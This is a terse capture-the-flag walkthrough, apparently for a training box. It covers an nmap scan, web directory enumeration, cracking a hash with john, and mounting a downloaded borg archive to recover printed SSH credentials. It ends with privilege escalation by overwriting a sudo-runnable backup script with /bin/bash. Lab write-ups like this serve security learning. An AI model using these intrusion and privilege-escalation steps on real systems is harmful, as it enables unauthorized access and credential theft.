

port = "10.10.217.66"

open ports using nmap

```
22
80
```

```

$ sudo nmap -SC -SV -A 10.10.217.66
[sudo] password for itsme:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-13 07:40 EAT
Nmap scan report for 10.10.217.66
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

```

enumerating http

```

dir enum using dirb
- /etc
  - hash password for music_archive found
    - cracked using john
    - squidward

- /admin
  - borg archive.tar downloaded
    - install of borg
    - mounting of the archive to obtain password we can ssh to the
box
  - s3cretP@s

```

```

(itsme@biggie)-[~/Downloads/archive]
$ ls
archive  archive.tar  repo  toCrack.txt  unpacked

(itsme@biggie)-[~/Downloads/archive]
$ borg list archive/home/field/dev/final_archive
Enter passphrase for key /home/itsme/Downloads/archive/archive/home/field/dev/final_archive:
music_archive      Tue, 2020-12-29 17:00:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]

(itsme@biggie)-[~/Downloads/archive]
$ sudo borg mount archive/home/field/dev/final_archive/ repo
[sudo] password for itsme:

```

ssh alex@0.10.217.66

priv escalation

```

linepeas yielded nothing

sudo -l
/home/mp3backups/backup.sh - executable with sudo
- echo '/bin/bash' > /etc/mp3backups/backup.sh

```

```
cat: etc/shadow: No such file or directory
alex@ubuntu:/tmp$ sudo -l
Matching Defaults entries for alex on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
alex@ubuntu:/tmp$ cat /etc/mp3backups/backup.sh
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
```